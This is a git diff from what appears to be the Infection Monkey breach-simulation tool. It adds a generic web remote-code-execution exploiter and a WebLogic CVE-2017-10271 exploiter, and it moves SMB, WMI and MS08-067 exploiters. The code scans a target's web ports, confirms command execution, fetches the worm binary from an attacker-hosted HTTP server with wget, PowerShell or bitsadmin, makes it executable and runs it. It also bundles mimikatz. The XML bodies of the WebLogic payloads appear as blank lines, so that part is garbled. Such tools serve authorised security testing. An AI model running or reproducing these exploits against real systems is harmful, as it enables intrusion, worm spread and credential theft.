+ LOG.error("Could not figure out what type of monkey server was trying to upload, "
+ "thus destination path can not be chosen.")
+ return False
+ except AttributeError:
+ LOG.error("Seems like monkey's source configuration property names changed. "
+ "Can not get destination path to upload monkey")
+ return False
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
new file mode 100644
index 000000000..bb3704995
--- /dev/null
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -0,0 +1,478 @@
+import logging
+import re
+from posixpath import join
+from abc import abstractmethod
+
+from infection_monkey.exploit import HostExploiter
+from infection_monkey.model import *
+from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
+from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
+
+__author__ = 'VakarisZ'
+
+LOG = logging.getLogger(__name__)
+# Command used to check if monkeys already exists
+LOOK_FOR_FILE = "ls %s"
+POWERSHELL_NOT_FOUND = "owershell is not recognized"
+# Constants used to refer to windows architectures( used in host.os['machine'])
+WIN_ARCH_32 = "32"
+WIN_ARCH_64 = "64"
+
+
+class WebRCE(HostExploiter):
+
+ def __init__(self, host, monkey_target_paths=None):
+ """
+ :param host: Host that we'll attack
+ :param monkey_target_paths: Where to upload the monkey at the target host system.
+ Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
+ """
+ super(WebRCE, self).__init__(host)
+ if monkey_target_paths:
+ self.monkey_target_paths = monkey_target_paths
+ else:
+ self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux,
+ 'win32': self._config.dropper_target_path_win_32,
+ 'win64': self._config.dropper_target_path_win_64}
+ self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
+ self.skip_exist = self._config.skip_exploit_if_file_exist
+ self.vulnerable_urls = []
+
+ def get_exploit_config(self):
+ """
+ Method that creates a dictionary of configuration values for exploit
+ :return: configuration dict
+ """
+ exploit_config = dict()
+
+ # dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy
+ # it's file to the default destination path.
+ exploit_config['dropper'] = False
+
+ # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD}
+ # Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used.
+ exploit_config['upload_commands'] = None
+
+ # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
+ exploit_config['url_extensions'] = None
+
+ # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
+ exploit_config['stop_checking_urls'] = False
+
+ # blind_exploit: If true we won't check if file exist and won't try to get the architecture of target.
+ exploit_config['blind_exploit'] = False
+
+ return exploit_config
+
+ def exploit_host(self):
+ """
+ Method that contains default exploitation workflow
+ :return: True if exploited, False otherwise
+ """
+ # We get exploit configuration
+ exploit_config = self.get_exploit_config()
+ # Get open ports
+ ports = self.get_ports_w(self.HTTP, ["http"])
+ if not ports:
+ return False
+ # Get urls to try to exploit
+ urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
+ self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
+
+ if not self.vulnerable_urls:
+ return False
+
+ # Skip if monkey already exists and this option is given
+ if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]):
+ LOG.info("Host %s was already infected under the current configuration, done" % self.host)
+ return True
+
+ # Check for targets architecture (if it's 32 or 64 bit)
+ if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]):
+ return False
+
+ # Upload the right monkey to target
+ data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands'])
+
+ if data is False:
+ return False
+
+ # Change permissions to transform monkey into executable file
+ if self.change_permissions(self.vulnerable_urls[0], data['path']) is False:
+ return False
+
+ # Execute remote monkey
+ if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
+ return False
+
+ return True
+
+ @abstractmethod
+ def exploit(self, url, command):
+ """
+ A reference to a method which implements web exploit logic.
+ :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
+ :param command: Command which will be executed on remote host
+ :return: RCE's output/True if successful or False if failed
+ """
+ raise NotImplementedError()
+
+ def get_open_service_ports(self, port_list, names):
+ """
+ :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
+ :param names: [] of service names. Example: ["http"]
+ :return: Returns all open ports from port list that are of service names
+ """
+ candidate_services = {}
+ candidate_services.update({
+ service: self.host.services[service] for service in self.host.services if
+ (self.host.services[service] and self.host.services[service]['name'] in names)
+ })
+
+ valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
+ tcp_port_to_service(port) in candidate_services]
+
+ return valid_ports
+
+ def check_if_port_open(self, port):
+ is_open, _ = check_tcp_port(self.host.ip_addr, port)
+ if not is_open:
+ LOG.info("Port %d is closed on %r, skipping", port, self.host)
+ return False
+ return True
+
+ def get_command(self, path, http_path, commands):
+ try:
+ if 'linux' in self.host.os['type']:
+ command = commands['linux']
+ else:
+ command = commands['windows']
+ # Format command
+ command = command % {'monkey_path': path, 'http_path': http_path}
+ except KeyError:
+ LOG.error("Provided command is missing/bad for this type of host! "
+ "Check upload_monkey function docs before using custom monkey's upload commands.")
+ return False
+ return command
+
+ def check_if_exploitable(self, url):
+ """
+ Checks if target is exploitable by interacting with url
+ :param url: Url to exploit
+ :return: True if exploitable and false if not
+ """
+ try:
+ resp = self.exploit(url, CHECK_COMMAND)
+ if resp is True:
+ return True
+ elif resp is not False and ID_STRING in resp:
+ return True
+ else:
+ return False
+ except Exception as e:
+ LOG.error("Host's exploitability check failed due to: %s" % e)
+ return False
+
+ def build_potential_urls(self, ports, extensions=None):
+ """
+ :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
+ Eg. ports: [[80, False], [443, True]]
+ :param extensions: What subdirectories to scan. www.domain.com[/extension]
+ :return: Array of url's to try and attack
+ """
+ url_list = []
+ if extensions:
+ extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
+ else:
+ extensions = [""]
+ for port in ports:
+ for extension in extensions:
+ if port[1]:
+ protocol = "https"
+ else:
+ protocol = "http"
+ url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension))
+ if not url_list:
+ LOG.info("No attack url's were built")
+ return url_list
+
+ def add_vulnerable_urls(self, urls, stop_checking=False):
+ """
+ Gets vulnerable url(s) from url list
+ :param urls: Potentially vulnerable urls
+ :param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool)
+ :return: None (we append to class variable vulnerable_urls)
+ """
+ for url in urls:
+ if self.check_if_exploitable(url):
+ self.vulnerable_urls.append(url)
+ if stop_checking:
+ break
+ if not self.vulnerable_urls:
+ LOG.info("No vulnerable urls found, skipping.")
+ # We add urls to param used in reporting
+ self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
+
+ def get_host_arch(self, url):
+ """
+ :param url: Url for exploiter to use
+ :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
+ """
+ if 'linux' in self.host.os['type']:
+ resp = self.exploit(url, GET_ARCH_LINUX)
+ if resp:
+ # Pulls architecture string
+ arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
+ try:
+ arch = arch.group(1)
+ except AttributeError:
+ LOG.error("Looked for linux architecture but could not find it")
+ return False
+ if arch:
+ return arch
+ else:
+ LOG.info("Could not pull machine architecture string from command's output")
+ return False
+ else:
+ return False
+ else:
+ resp = self.exploit(url, GET_ARCH_WINDOWS)
+ if resp:
+ if "64-bit" in resp:
+ return WIN_ARCH_64
+ else:
+ return WIN_ARCH_32
+ else:
+ return False
+
+ def check_remote_monkey_file(self, url, path):
+ command = LOOK_FOR_FILE % path
+ resp = self.exploit(url, command)
+ if 'No such file' in resp:
+ return False
+ else:
+ LOG.info("Host %s was already infected under the current configuration, done" % host)
+ return True
+
+ def check_remote_files(self, url):
+ """
+ :param url: Url for exploiter to use
+ :return: True if at least one file is found, False otherwise
+ """
+ paths = []
+ if 'linux' in self.host.os['type']:
+ paths.append(self.monkey_target_paths['linux'])
+ else:
+ paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']])
+ for path in paths:
+ if self.check_remote_monkey_file(url, path):
+ return True
+ return False
+
+ # Wrapped functions:
+ def get_ports_w(self, ports, names):
+ """
+ Get ports wrapped with log
+ :param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS
+ :param names: [] of service names. Example: ["http"]
+ :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?]
+ """
+ ports = self.get_open_service_ports(ports, names)
+ if not ports:
+ LOG.info("All default web ports are closed on %r, skipping", host)
+ return False
+ else:
+ return ports
+
+ def set_host_arch(self, url):
+ arch = self.get_host_arch(url)
+ if not arch:
+ LOG.error("Couldn't get host machine's architecture")
+ return False
+ else:
+ self.host.os['machine'] = arch
+ return True
+
+ def run_backup_commands(self, resp, url, dest_path, http_path):
+ """
+ If you need multiple commands for the same os you can override this method to add backup commands
+ :param resp: Response from base command
+ :param url: Vulnerable url
+ :param dest_path: Where to upload monkey
+ :param http_path: Where to download monkey from
+ :return: Command's response (same response if backup command is not needed)
+ """
+ if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
+ LOG.info("Powershell not found in host. Using bitsadmin to download.")
+ backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
+ resp = self.exploit(url, backup_command)
+ return resp
+
+ def upload_monkey(self, url, commands=None):
+ """
+ :param url: Where exploiter should send it's request
+ :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
+ Command must have "monkey_path" and "http_path" format parameters.
+ :return: {'response': response/False, 'path': monkeys_path_in_host}
+ """
+ LOG.info("Trying to upload monkey to the host.")
+ if not self.host.os['type']:
+ LOG.error("Unknown target's os type. Skipping.")
+ return False
+ paths = self.get_monkey_paths()
+ if not paths:
+ return False
+ # Create server for http download and wait for it's startup.
+ http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
+ if not http_path:
+ LOG.debug("Exploiter failed, http transfer creation failed.")
+ return False
+ LOG.info("Started http server on %s", http_path)
+ # Choose command:
+ if not commands:
+ commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
+ command = self.get_command(paths['dest_path'], http_path, commands)
+
+ resp = self.exploit(url, command)
+
+ resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
+
+ http_thread.join(DOWNLOAD_TIMEOUT)
+ http_thread.stop()
+ LOG.info("Uploading process finished")
+ # If response is false exploiter failed
+ if resp is False:
+ return resp
+ else:
+ return {'response': resp, 'path': paths['dest_path']}
+
+ def change_permissions(self, url, path, command=None):
+ """
+ Method for linux hosts. Makes monkey executable
+ :param url: Where to send malicious packets
+ :param path: Path to monkey on remote host
+ :param command: Formatted command for permission change or None
+ :return: response, False if failed and True if permission change is not needed
+ """
+ LOG.info("Changing monkey's permissions")
+ if 'windows' in self.host.os['type']:
+ LOG.info("Permission change not required for windows")
+ return True
+ if not command:
+ command = CHMOD_MONKEY % {'monkey_path': path}
+ try:
+ resp = self.exploit(url, command)
+ except Exception as e:
+ LOG.error("Something went wrong while trying to change permission: %s" % e)
+ return False
+ # If exploiter returns True / False
+ if type(resp) is bool:
+ LOG.info("Permission change finished")
+ return resp
+ # If exploiter returns command output, we can check for execution errors
+ if 'Operation not permitted' in resp:
+ LOG.error("Missing permissions to make monkey executable")
+ return False
+ elif 'No such file or directory' in resp:
+ LOG.error("Could not change permission because monkey was not found. Check path parameter.")
+ return False
+ LOG.info("Permission change finished")
+ return resp
+
+ def execute_remote_monkey(self, url, path, dropper=False):
+ """
+ This method executes remote monkey
+ :param url: Where to send malicious packets
+ :param path: Path to monkey on remote host
+ :param dropper: Should remote monkey be executed with dropper or with monkey arg?
+ :return: Response or False if failed
+ """
+ LOG.info("Trying to execute remote monkey")
+ # Get monkey command line
+ if dropper and path:
+ # If dropper is chosen we try to move monkey to default location
+ default_path = self.get_default_dropper_path()
+ if default_path is False:
+ return False
+ monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
+ command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
+ else:
+ monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
+ command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
+ try:
+ resp = self.exploit(url, command)
+ # If exploiter returns True / False
+ if type(resp) is bool:
+ LOG.info("Execution attempt successfully finished")
+ return resp
+ # If exploiter returns command output, we can check for execution errors
+ if 'is not recognized' in resp or 'command not found' in resp:
+ LOG.error("Wrong path chosen or other process already deleted monkey")
+ return False
+ elif 'The system cannot execute' in resp:
+ LOG.error("System could not execute monkey")
+ return False
+ except Exception as e:
+ LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
+ return False
+ LOG.info("Execution attempt finished")
+ return resp
+
+ def get_monkey_upload_path(self, url_to_monkey):
+ """
+ Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
+ :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
+ :return: Corresponding monkey path from self.monkey_target_paths
+ """
+ if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
+ LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
+ return False
+ try:
+ if 'linux' in url_to_monkey:
+ return self.monkey_target_paths['linux']
+ elif 'windows-32' in url_to_monkey:
+ return self.monkey_target_paths['win32']
+ elif 'windows-64' in url_to_monkey:
+ return self.monkey_target_paths['win64']
+ else:
+ LOG.error("Could not figure out what type of monkey server was trying to upload, "
+ "thus destination path can not be chosen.")
+ return False
+ except KeyError:
+ LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize "
+ "custom dict of monkey's destination paths")
+ return False
+
+ def get_monkey_paths(self):
+ """
+ Gets local (used by server) and destination (where to download) paths.
+ :return: dict of source and destination paths
+ """
+ src_path = get_target_monkey(self.host)
+ if not src_path:
+ LOG.info("Can't find suitable monkey executable for host %r", host)
+ return False
+ # Determine which destination path to use
+ dest_path = self.get_monkey_upload_path(src_path)
+ if not dest_path:
+ return False
+ return {'src_path': src_path, 'dest_path': dest_path}
+
+ def get_default_dropper_path(self):
+ """
+ Gets default dropper path for the host.
+ :return: Default monkey's destination path for corresponding host or False if failed.
+ E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host
+ """
+ if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'):
+ LOG.error("Target's OS was either unidentified or not supported. Aborting")
+ return False
+ if self.host.os['type'] == 'linux':
+ return self._config.dropper_target_path_linux
+ if self.host.os['type'] == 'windows':
+ try:
+ if self.host.os['machine'] == WIN_ARCH_64:
+ return self._config.dropper_target_path_win_64
+ except KeyError:
+ LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
+ return self._config.dropper_target_path_win_32
diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py
new file mode 100644
index 000000000..ac78555af
--- /dev/null
+++ b/monkey/infection_monkey/exploit/weblogic.py
@@ -0,0 +1,197 @@
+# Exploit based of:
+# Kevin Kirsche (d3c3pt10n)
+# https://github.com/kkirsche/CVE-2017-10271
+# and
+# Luffin from Github
+# https://github.com/Luffin/CVE-2017-10271
+# CVE: CVE-2017-10271
+
+from requests import post, exceptions
+from infection_monkey.exploit.web_rce import WebRCE
+from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
+from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
+
+import threading
+import logging
+
+__author__ = "VakarisZ"
+
+LOG = logging.getLogger(__name__)
+# How long server waits for get request in seconds
+SERVER_TIMEOUT = 4
+# How long to wait for a request to go to vuln machine and then to our server from there. In seconds
+REQUEST_TIMEOUT = 2
+# How long to wait for response in exploitation. In seconds
+EXECUTION_TIMEOUT = 15
+URLS = ["/wls-wsat/CoordinatorPortType",
+ "/wls-wsat/CoordinatorPortType11",
+ "/wls-wsat/ParticipantPortType",
+ "/wls-wsat/ParticipantPortType11",
+ "/wls-wsat/RegistrationPortTypeRPC",
+ "/wls-wsat/RegistrationPortTypeRPC11",
+ "/wls-wsat/RegistrationRequesterPortType",
+ "/wls-wsat/RegistrationRequesterPortType11"]
+# Malicious request's headers:
+HEADERS = {
+ "Content-Type": "text/xml;charset=UTF-8",
+ "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
+ "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
+ }
+
+
+class WebLogicExploiter(WebRCE):
+ _TARGET_OS_TYPE = ['linux', 'windows']
+
+ def __init__(self, host):
+ super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
+ 'win32': 'monkey32.exe',
+ 'win64': 'monkey64.exe'})
+
+ def get_exploit_config(self):
+ exploit_config = super(WebLogicExploiter, self).get_exploit_config()
+ exploit_config['blind_exploit'] = True
+ exploit_config['stop_checking_urls'] = True
+ exploit_config['url_extensions'] = URLS
+ return exploit_config
+
+ def exploit(self, url, command):
+ if 'linux' in self.host.os['type']:
+ payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
+ else:
+ payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
+ try:
+ post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
+ except Exception as e:
+ print('[!] Connection Error')
+ print(e)
+ return True
+
+ def check_if_exploitable(self, url):
+ # Server might get response faster than it starts listening to it, we need a lock
+ httpd, lock = self._start_http_server()
+ payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port)
+ try:
+ post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
+ except exceptions.ReadTimeout:
+ # Our request does not get response thus we get ReadTimeout error
+ pass
+ except Exception as e:
+ LOG.error("Something went wrong: %s" % e)
+ self._stop_http_server(httpd, lock)
+ return httpd.get_requests > 0
+
+ def _start_http_server(self):
+ """
+ Starts custom http server that waits for GET requests
+ :return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock)
+ """
+ lock = threading.Lock()
+ local_port = get_free_tcp_port()
+ local_ip = get_interface_to_target(self.host.ip_addr)
+ httpd = self.IndicationHTTPServer(local_ip, local_port, lock)
+ lock.acquire()
+ httpd.start()
+ lock.acquire()
+ return httpd, lock
+
+ def _stop_http_server(self, httpd, lock):
+ lock.release()
+ httpd.join(SERVER_TIMEOUT)
+ httpd.stop()
+
+ @staticmethod
+ def get_exploit_payload(cmd_base, cmd_opt, command):
+ """
+ Formats the payload used in exploiting weblogic servers
+ :param cmd_base: What command prompt to use eg. cmd
+ :param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
+ :param command: command itself
+ :return: Formatted payload
+ """
+ empty_payload = '''
+
+
+
+
+
+
+ {cmd_base}
+
+
+ {cmd_opt}
+
+
+ {cmd_payload}
+
+
+
+
+
+
+
+
+
+ '''
+ payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
+ return payload
+
+ @staticmethod
+ def get_test_payload(ip, port):
+ """
+ Gets payload used for testing whether weblogic server is vulnerable
+ :param ip: Server's IP
+ :param port: Server's port
+ :return: Formatted payload
+ """
+ generic_check_payload = '''
+
+
+
+
+ http://{host}:{port}
+
+
+
+
+
+
+
+
+
+ '''
+ payload = generic_check_payload.format(host=ip, port=port)
+ return payload
+
+ class IndicationHTTPServer(threading.Thread):
+ """
+ Http server built to wait for GET requests. Because oracle web logic vuln is blind,
+ we determine if we can exploit by either getting a GET request from host or not.
+ """
+ def __init__(self, local_ip, local_port, lock, max_requests=1):
+ self._local_ip = local_ip
+ self._local_port = local_port
+ self.get_requests = 0
+ self.max_requests = max_requests
+ self._stopped = False
+ self.lock = lock
+ threading.Thread.__init__(self)
+ self.daemon = True
+
+ def run(self):
+ class S(BaseHTTPRequestHandler):
+ @staticmethod
+ def do_GET():
+ LOG.info('Server received a request from vulnerable machine')
+ self.get_requests += 1
+ LOG.info('Server waiting for exploited machine request...')
+ httpd = HTTPServer((self._local_ip, self._local_port), S)
+ httpd.daemon = True
+ self.lock.release()
+ while not self._stopped and self.get_requests < self.max_requests:
+ httpd.handle_request()
+
+ self._stopped = True
+ return httpd
+
+ def stop(self):
+ self._stopped = True
diff --git a/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py
similarity index 96%
rename from infection_monkey/exploit/win_ms08_067.py
rename to monkey/infection_monkey/exploit/win_ms08_067.py
index 85086bce7..9f8837157 100644
--- a/infection_monkey/exploit/win_ms08_067.py
+++ b/monkey/infection_monkey/exploit/win_ms08_067.py
@@ -14,11 +14,11 @@ from enum import IntEnum
from impacket import uuid
from impacket.dcerpc.v5 import transport
-from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
-from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
-from network import SMBFinger
-from network.tools import check_tcp_port
-from tools import build_monkey_commandline
+from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
+from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
+from infection_monkey.network import SMBFinger
+from infection_monkey.network.tools import check_tcp_port
+from infection_monkey.exploit.tools import build_monkey_commandline
from . import HostExploiter
LOG = getLogger(__name__)
@@ -158,8 +158,6 @@ class Ms08_067_Exploiter(HostExploiter):
def __init__(self, host):
super(Ms08_067_Exploiter, self).__init__(host)
- self._config = __import__('config').WormConfiguration
- self._guid = __import__('config').GUID
def is_os_supported(self):
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
diff --git a/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
similarity index 93%
rename from infection_monkey/exploit/wmiexec.py
rename to monkey/infection_monkey/exploit/wmiexec.py
index 0f9b2ee4c..1a8cb3386 100644
--- a/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -5,10 +5,10 @@ import traceback
from impacket.dcerpc.v5.rpcrt import DCERPCException
-from exploit import HostExploiter
-from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth
-from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
-from tools import build_monkey_commandline
+from infection_monkey.exploit import HostExploiter
+from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
+ get_monkey_depth, build_monkey_commandline
+from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
LOG = logging.getLogger(__name__)
@@ -18,8 +18,6 @@ class WmiExploiter(HostExploiter):
def __init__(self, host):
super(WmiExploiter, self).__init__(host)
- self._config = __import__('config').WormConfiguration
- self._guid = __import__('config').GUID
@WmiTools.dcom_wrap
def exploit_host(self):
diff --git a/infection_monkey/main.py b/monkey/infection_monkey/main.py
similarity index 92%
rename from infection_monkey/main.py
rename to monkey/infection_monkey/main.py
index 51fd6b9f7..be45afce4 100644
--- a/infection_monkey/main.py
+++ b/monkey/infection_monkey/main.py
@@ -8,14 +8,11 @@ import os
import sys
import traceback
-from config import WormConfiguration, EXTERNAL_CONFIG_FILE
-from dropper import MonkeyDrops
-from model import MONKEY_ARG, DROPPER_ARG
-from monkey import InfectionMonkey
-import utils
-
-if __name__ == "__main__":
- sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+import infection_monkey.utils as utils
+from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
+from infection_monkey.dropper import MonkeyDrops
+from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
+from infection_monkey.monkey import InfectionMonkey
__author__ = 'itamar'
@@ -63,7 +60,7 @@ def main():
try:
with open(config_file) as config_fo:
json_dict = json.load(config_fo)
- WormConfiguration.from_dict(json_dict)
+ WormConfiguration.from_kv(json_dict)
except ValueError as e:
print("Error loading config: %s, using default" % (e,))
else:
diff --git a/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py
similarity index 76%
rename from infection_monkey/model/__init__.py
rename to monkey/infection_monkey/model/__init__.py
index a2a1e18bb..f2217623a 100644
--- a/infection_monkey/model/__init__.py
+++ b/monkey/infection_monkey/model/__init__.py
@@ -1,4 +1,4 @@
-from host import VictimHost
+from infection_monkey.model.host import VictimHost
__author__ = 'itamar'
@@ -17,13 +17,15 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
-POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
-WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
-RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s'
-
+POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
+WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
+RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
+CHMOD_MONKEY = "chmod +x %(monkey_path)s"
+RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable
-CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
-CHECK_LINUX = "echo %s && lscpu" % ID_STRING
+CHECK_COMMAND = "echo %s" % ID_STRING
+# Architecture checking commands
+GET_ARCH_WINDOWS = "wmic os get osarchitecture"
+GET_ARCH_LINUX = "lscpu"
-# Commands used to check if monkeys already exists
-EXISTS = "ls %s"
\ No newline at end of file
+DOWNLOAD_TIMEOUT = 300
\ No newline at end of file
diff --git a/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py
similarity index 100%
rename from infection_monkey/model/host.py
rename to monkey/infection_monkey/model/host.py
diff --git a/infection_monkey/monkey-linux.spec b/monkey/infection_monkey/monkey-linux.spec
similarity index 93%
rename from infection_monkey/monkey-linux.spec
rename to monkey/infection_monkey/monkey-linux.spec
index fac69536e..61a2725c4 100644
--- a/infection_monkey/monkey-linux.spec
+++ b/monkey/infection_monkey/monkey-linux.spec
@@ -4,7 +4,7 @@ block_cipher = None
a = Analysis(['main.py'],
- pathex=['.', '..'],
+ pathex=['..'],
binaries=None,
datas=None,
hiddenimports=['_cffi_backend'],
diff --git a/infection_monkey/monkey.ico b/monkey/infection_monkey/monkey.ico
similarity index 100%
rename from infection_monkey/monkey.ico
rename to monkey/infection_monkey/monkey.ico
diff --git a/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
similarity index 95%
rename from infection_monkey/monkey.py
rename to monkey/infection_monkey/monkey.py
index 8ad1baf8c..efdb43a3c 100644
--- a/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -4,18 +4,18 @@ import os
import subprocess
import sys
import time
-
-import tunnel
-import utils
-from config import WormConfiguration
-from control import ControlClient
-from model import DELAY_DELETE_CMD
-from network.firewall import app as firewall
-from network.network_scanner import NetworkScanner
from six.moves import xrange
-from system_info import SystemInfoCollector
-from system_singleton import SystemSingleton
-from windows_upgrader import WindowsUpgrader
+
+import infection_monkey.tunnel as tunnel
+import infection_monkey.utils as utils
+from infection_monkey.config import WormConfiguration
+from infection_monkey.control import ControlClient
+from infection_monkey.model import DELAY_DELETE_CMD
+from infection_monkey.network.firewall import app as firewall
+from infection_monkey.network.network_scanner import NetworkScanner
+from infection_monkey.system_info import SystemInfoCollector
+from infection_monkey.system_singleton import SystemSingleton
+from infection_monkey.windows_upgrader import WindowsUpgrader
__author__ = 'itamar'
diff --git a/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec
similarity index 51%
rename from infection_monkey/monkey.spec
rename to monkey/infection_monkey/monkey.spec
index cb9c6130e..f539d61fa 100644
--- a/infection_monkey/monkey.spec
+++ b/monkey/infection_monkey/monkey.spec
@@ -1,22 +1,30 @@
# -*- mode: python -*-
import os
import platform
+
+# Name of zip file in monkey. That's the name of the file in the _MEI folder
+MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
+
+
+def get_mimikatz_zip_path():
+ if platform.architecture()[0] == "32bit":
+ return '.\\bin\\mk32.zip'
+ else:
+ return '.\\bin\\mk64.zip'
+
+
a = Analysis(['main.py'],
- pathex=['.', '..'],
+ pathex=['..'],
hiddenimports=['_cffi_backend', 'queue'],
hookspath=None,
runtime_hooks=None)
-
-a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
-a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
+a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
